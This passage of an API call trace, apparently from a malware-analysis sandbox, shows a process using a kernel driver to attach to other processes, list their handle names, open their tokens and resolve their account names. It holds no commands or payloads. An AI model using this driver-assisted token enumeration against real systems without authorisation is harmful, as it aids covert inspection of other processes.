dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.238] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.238] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.238] PsAcquireProcessExitSynchronization () returned 0x0 [0133.238] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880050005d0) [0133.238] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.238] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.238] PsReleaseProcessExitSynchronization () returned 0x2 [0133.238] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0133.238] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.238] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.238] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.238] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.238] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xab0) returned 0xc0 [0133.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.238] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002115b30, HandleInformation=0x0) returned 0x0 [0133.238] ObOpenObjectByPointer (in: Object=0xfffffa8002115b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.238] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x12 [0133.238] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.238] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.238] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.238] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.238] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.335] CloseHandle (hObject=0xc8) returned 1 [0133.335] CloseHandle (hObject=0xc0) returned 1 [0133.335] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.335] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.335] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.335] PsAcquireProcessExitSynchronization () returned 0x0 [0133.335] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880050005d0) [0133.335] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020f7cb0, HandleInformation=0x0) returned 0x0 [0133.335] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.335] PsReleaseProcessExitSynchronization () returned 0x2 [0133.335] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0133.335] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0133.335] ObfDereferenceObject (Object=0xfffffa80020f7cb0) returned 0x1 [0133.335] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.335] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.336] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.336] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0133.336] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.336] PsAcquireProcessExitSynchronization () returned 0x0 [0133.336] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880050005d0) [0133.336] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a225b0, HandleInformation=0x0) returned 0x0 [0133.336] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.336] PsReleaseProcessExitSynchronization () returned 0x2 [0133.336] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0133.336] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.336] ObfDereferenceObject (Object=0xfffffa8001a225b0) returned 0x1 [0133.336] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.336] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.336] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.336] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.336] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.336] PsAcquireProcessExitSynchronization () returned 0x0 [0133.336] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880050005d0) [0133.336] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.336] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.336] PsReleaseProcessExitSynchronization () returned 0x2 [0133.336] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0133.336] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0133.336] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.336] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.336] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.336] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xac0) returned 0xc0 [0133.336] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.336] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002110630, HandleInformation=0x0) returned 0x0 [0133.336] ObOpenObjectByPointer (in: Object=0xfffffa8002110630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.337] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x12 [0133.337] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.337] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.337] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.337] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.337] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.338] CloseHandle (hObject=0xc8) returned 1 [0133.338] CloseHandle (hObject=0xc0) returned 1 [0133.338] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.338] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.338] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.338] PsAcquireProcessExitSynchronization () returned 0x0 [0133.338] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880050005d0) [0133.338] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020ceba0, HandleInformation=0x0) returned 0x0 [0133.338] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.339] PsReleaseProcessExitSynchronization () returned 0x2 [0133.339] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0133.339] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.339] ObfDereferenceObject (Object=0xfffffa80020ceba0) returned 0x1 [0133.339] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.339] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.339] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.339] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0133.339] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.339] PsAcquireProcessExitSynchronization () returned 0x0 [0133.339] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880050005d0) [0133.339] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002127ac0, HandleInformation=0x0) returned 0x0 [0133.339] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.339] PsReleaseProcessExitSynchronization () returned 0x2 [0133.339] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0133.339] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.339] ObfDereferenceObject (Object=0xfffffa8002127ac0) returned 0x1 [0133.339] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.339] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.339] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.339] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.339] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.339] PsAcquireProcessExitSynchronization () returned 0x0 [0133.339] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880050005d0) [0133.339] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.339] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.339] PsReleaseProcessExitSynchronization () returned 0x2 [0133.339] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0133.339] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.339] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.339] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.339] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.339] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xad0) returned 0xc0 [0133.340] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.340] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002121b30, HandleInformation=0x0) returned 0x0 [0133.340] ObOpenObjectByPointer (in: Object=0xfffffa8002121b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.340] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x12 [0133.340] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.340] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.340] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.340] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.340] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.341] CloseHandle (hObject=0xc8) returned 1 [0133.341] CloseHandle (hObject=0xc0) returned 1 [0133.341] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.341] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.341] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.341] PsAcquireProcessExitSynchronization () returned 0x0 [0133.341] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880050005d0) [0133.341] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020ca070, HandleInformation=0x0) returned 0x0 [0133.342] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.342] PsReleaseProcessExitSynchronization () returned 0x2 [0133.342] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0133.342] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.342] ObfDereferenceObject (Object=0xfffffa80020ca070) returned 0x1 [0133.342] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.342] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.342] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.342] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0133.342] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.342] PsAcquireProcessExitSynchronization () returned 0x0 [0133.342] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880050005d0) [0133.342] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800212f6f0, HandleInformation=0x0) returned 0x0 [0133.342] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.342] PsReleaseProcessExitSynchronization () returned 0x2 [0133.342] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0133.342] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.342] ObfDereferenceObject (Object=0xfffffa800212f6f0) returned 0x1 [0133.342] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.342] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.342] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.342] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.342] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.342] PsAcquireProcessExitSynchronization () returned 0x0 [0133.342] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880050005d0) [0133.342] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.342] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.342] PsReleaseProcessExitSynchronization () returned 0x2 [0133.342] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0133.342] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.342] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.342] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.342] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.342] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xae0) returned 0xc0 [0133.343] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.343] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80021385f0, HandleInformation=0x0) returned 0x0 [0133.343] ObOpenObjectByPointer (in: Object=0xfffffa80021385f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.343] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x12 [0133.343] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.343] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.343] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.343] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.343] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.344] CloseHandle (hObject=0xc8) returned 1 [0133.344] CloseHandle (hObject=0xc0) returned 1 [0133.344] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.344] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, 